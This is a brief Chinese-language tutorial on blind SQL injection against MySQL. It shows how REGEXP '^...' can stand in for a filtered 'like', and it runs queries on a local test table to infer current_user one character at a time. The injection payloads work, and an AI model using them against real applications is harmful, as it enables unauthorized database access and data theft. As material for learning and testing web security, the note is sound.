0x00 概要

不允许 “like” 出现时的注入方法

使用 REGEXP 可以实现与 like 相同的功能

使用方法: 表达式 REGEXP ‘^判断条件’ 相当于 表达式 like ‘判断条件%’

0x01 测试数据

  1. mysql> select user();
  2. +----------------+
  3. | user() |
  4. +----------------+
  5. | root@localhost |
  6. +----------------+
  7. 1 row in set (0.00 sec)
  1. mysql> select current_user;
  2. +----------------+
  3. | current_user |
  4. +----------------+
  5. | root@localhost |
  6. +----------------+
  7. 1 row in set (0.00 sec)
  1. mysql> select * from users where id=1;
  2. +----+----------+----------+
  3. | id | username | password |
  4. +----+----------+----------+
  5. | 1 | Dumb | Dumb |
  6. +----+----------+----------+
  7. 1 row in set (0.00 sec)

0x02 测试

  1. // 正确的情况
  2. // 会返回原来的数据页面保持不变
  3. mysql> select * from users where id=1 and '1' REGEXP '^1';
  4. +----+----------+----------+
  5. | id | username | password |
  6. +----+----------+----------+
  7. | 1 | Dumb | Dumb |
  8. +----+----------+----------+
  9. 1 row in set (0.00 sec)
  1. // 查询current_user数据正确的情况
  2. // 会返回原来的数据页面保持不变,说明 current_user 第一位为 “r”
  3. mysql> select * from users where id=1 and current_user REGEXP '^r';
  4. +----+----------+----------+
  5. | id | username | password |
  6. +----+----------+----------+
  7. | 1 | Dumb | Dumb |
  8. +----+----------+----------+
  9. 1 row in set (0.00 sec)
  1. // 查询current_user数据正确的情况
  2. // 会返回原来的数据页面保持不变,说明 current_user 第二位为 “o”
  3. mysql> select * from users where id=1 and current_user REGEXP '^ro';
  4. +----+----------+----------+
  5. | id | username | password |
  6. +----+----------+----------+
  7. | 1 | Dumb | Dumb |
  8. +----+----------+----------+
  9. 1 row in set (0.00 sec)
  1. // 错误的情况
  2. // 页面会爆错,如果关闭了错误提示,页面的数据会为空
  3. mysql> select * from users where id=1 and current_user REGEXP '^aa';
  4. Empty set (0.00 sec)